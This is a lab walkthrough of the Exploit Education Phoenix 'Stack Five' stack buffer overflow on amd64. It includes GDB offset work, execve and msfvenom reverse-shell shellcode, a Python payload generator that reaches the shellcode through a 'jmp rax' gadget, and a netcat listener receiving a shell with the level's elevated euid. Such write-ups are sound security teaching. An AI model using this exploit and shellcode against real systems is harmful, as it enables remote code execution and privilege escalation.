Exploit Education | Phoenix | Stack Five Solution

Stack Five

The description and source code can be found here:
https://exploit.education/phoenix/stack-five/

Now things are getting a bit tricky. This time we’ll need to utilize the ability to control the Instruction Pointer register (in this case, RIP) to jump to some shell code we inject onto the stack. The source code is pretty simple. The main() function calls the start_level() function, which gets input from the user and saves it to the “buffer” variable:

void start_level() {
    char buffer[128];
    gets(buffer);
}

int main(int argc, char **argv) {
    printf("%s\n", BANNER);
    start_level();
}

First, I need to see how far away from the start of the “buffer” variable the return address is in that frame:

$ gdb -q stack-five 
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-five...(no debugging symbols found)...done.
gef> disas start_level
Dump of assembler code for function start_level:
   0x000000000040058d <+0>:     push   rbp
   0x000000000040058e <+1>:     mov    rbp,rsp
   0x0000000000400591 <+4>:     add    rsp,0xffffffffffffff80
   0x0000000000400595 <+8>:     lea    rax,[rbp-0x80]
   0x0000000000400599 <+12>:    mov    rdi,rax
   0x000000000040059c <+15>:    call   0x4003f0 <gets@plt>
   0x00000000004005a1 <+20>:    nop
   0x00000000004005a2 <+21>:    leave  
   0x00000000004005a3 <+22>:    ret    
End of assembler dump.

gef> b *0x00000000004005a1
Breakpoint 1 at 0x4005a1

gef> run <<< $(python -c 'print "A" + "B"*126 + "C"')
Starting program: /opt/phoenix/amd64/stack-five <<< $(python -c 'print "A" + "B"*126 + "C"') Welcome to phoenix/stack-five, brought to you by https://exploit.education Breakpoint 1, 0x00000000004005a1 in start_level () [... GEF output snipped ...] gef> info frame
Stack level 0, frame at 0x7fffffffe650:
 rip = 0x4005a1 in start_level; saved rip = 0x4005c7
 called by frame at 0x7fffffff0010
 Arglist at 0x7fffffffe640, args: 
 Locals at 0x7fffffffe640, Previous frame's sp is 0x7fffffffe650
 Saved registers:
  rbp at 0x7fffffffe640, rip at 0x7fffffffe648

gef> info registers $rsp
rsp            0x7fffffffe5c0      0x7fffffffe5c0

gef> printf "%i\n", 0x7fffffffe648 - 0x7fffffffe5c0
136

So we have 136 bytes before hitting the return address. Now I can generate some shell code and put it on the stack within the “buffer” variable. At first, I tried using some code I found here: http://shell-storm.org/shellcode/. And these would work if I compiled the C code and executed it directly. For example, this one (http://shell-storm.org/shellcode/files/shellcode-603.php):

int main(void)
{
    char shellcode[] =
    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov      $0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
    "\x53"                                          // push   %rbx
    "\x48\x89\xe7"                                  // mov    %rsp, %rdi
    "\x50"                                          // push   %rax
    "\x57"                                          // push   %rdi
    "\x48\x89\xe6"                                  // mov    %rsp, %rsi
    "\xb0\x3b"                                      // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall

    (*(void (*)()) shellcode)();

    return 0;
}

When I compile & run it, it gives me a shell:

user@phoenix-amd64:~$ gcc -fno-stack-protector -z execstack shell.c -o shell
user@phoenix-amd64:~$ ./shell 
$ id
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)

However, putting that same shell code on the stack and executing it from within the stack-five program wouldn’t work. So I wanted to test using a reverse shell instead. I fired up a Kali VM and used msfvenom to generate the shell code:

root ~ # msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 --platform linux -a x64 -f python --var-name shellcode
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of python file: 424 bytes
shellcode =  ""
shellcode += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
shellcode += "\x48\x97\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01"
shellcode += "\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
shellcode += "\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
shellcode += "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
shellcode += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
shellcode += "\x0f\x05"

I’m going to use a python script to create a file used for overflowing the buffer. This also makes it easier to make modifications:

#!/usr/bin/env python

# Total bytes until return address: 136
total = 136

shellcode =  ""
shellcode += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
shellcode += "\x48\x97\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01"
shellcode += "\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
shellcode += "\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
shellcode += "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
shellcode += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
shellcode += "\x0f\x05"

#The start of shellcode: 0x00007fffffffe5c0
ret = "\xc0\xe5\xff\xff\xff\x7f\x00\x00"

payload = ""
payload += shellcode
payload += "A" * (total - len(payload))
payload += ret

with open("payload", "wb") as f:
    f.write(payload)

To test this, I’ll need two terminals SSH’d into the VM. One to start a netcat listener:

$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Then I’ll execute the script & use the resulting file as input for the stack-five program:

$ cat ~/payload | ./stack-five 
Welcome to phoenix/stack-five, brought to you by https://exploit.education
Segmentation fault

Well that didn’t work. However, having recently obtained my OSCP certification, their mantra is still fresh in my head, “Try harder.” Instead of putting an address on the stack directly into the RIP register, I’d like to find another instruction that can jump the execution there, like jmp esp. I can use the ROPgadget tool for this:

$ ROPgadget --binary stack-five --only "jmp"
Gadgets information
============================================================
0x0000000000400481 : jmp rax

Unique gadgets found: 1

It looks like the only option is a jmp eax instruction. Let’s take a look at where the RAX register is pointing to when execution returns from the start_level() function. I’ll set a breakpoint in the main() function right after the call to start_level(). After running the program and passing a bit of input, we can see that RAX points to the start of the “buffer” variable in start_level(), which was the same as the RSP register during that frame:

$ gdb -q stack-five 
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-five...(no debugging symbols found)...done.
gef> disas main
Dump of assembler code for function main:
   0x00000000004005a4 <+0>:     push   rbp
   0x00000000004005a5 <+1>:     mov    rbp,rsp
   0x00000000004005a8 <+4>:     sub    rsp,0x10
   0x00000000004005ac <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x00000000004005af <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x00000000004005b3 <+15>:    mov    edi,0x400620
   0x00000000004005b8 <+20>:    call   0x400400 <puts@plt>
   0x00000000004005bd <+25>:    mov    eax,0x0
   0x00000000004005c2 <+30>:    call   0x40058d <start_level>
   0x00000000004005c7 <+35>:    mov    eax,0x0
   0x00000000004005cc <+40>:    leave  
   0x00000000004005cd <+41>:    ret    
End of assembler dump.

gef> b *0x00000000004005c7
Breakpoint 1 at 0x4005c7

gef> run
Starting program: /opt/phoenix/amd64/stack-five 
Welcome to phoenix/stack-five, brought to you by https://exploit.education
AAAA

Breakpoint 1, 0x00000000004005c7 in main ()

[... GEF output snipped ...]

gef> i r $rax
rax            0x7fffffffe5c0      0x7fffffffe5c0

This means that we can make use of that jmp rax instruction. I’ll modify the generate_payload.py script to overwrite the return address with 0x0000000000400481. I don’t need to include all of the leading zeros since that’s what’s already on the stack:

#!/usr/bin/env python

# Total bytes until return address: 136
total = 136

shellcode =  ""
shellcode += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
shellcode += "\x48\x97\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01"
shellcode += "\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
shellcode += "\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
shellcode += "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
shellcode += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
shellcode += "\x0f\x05"

# This return address goes to 'jmp eax'
ret = "\x81\x04\x40"

payload = ""
payload += shellcode
payload += "A" * (total - len(payload))
payload += ret

with open("payload", "wb") as f:
    f.write(payload)

Let’s test this again. In one terminal, I’ll create the payload and start the netcat listener:

$ ./generate_payload.py 
$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)

In another terminal, I’ll execute the program:

$ cat ~/payload | /opt/phoenix/amd64/stack-five 
Welcome to phoenix/stack-five, brought to you by https://exploit.education

Checking the other terminal, I’ve got a shell!

$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 56878 received!
id
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.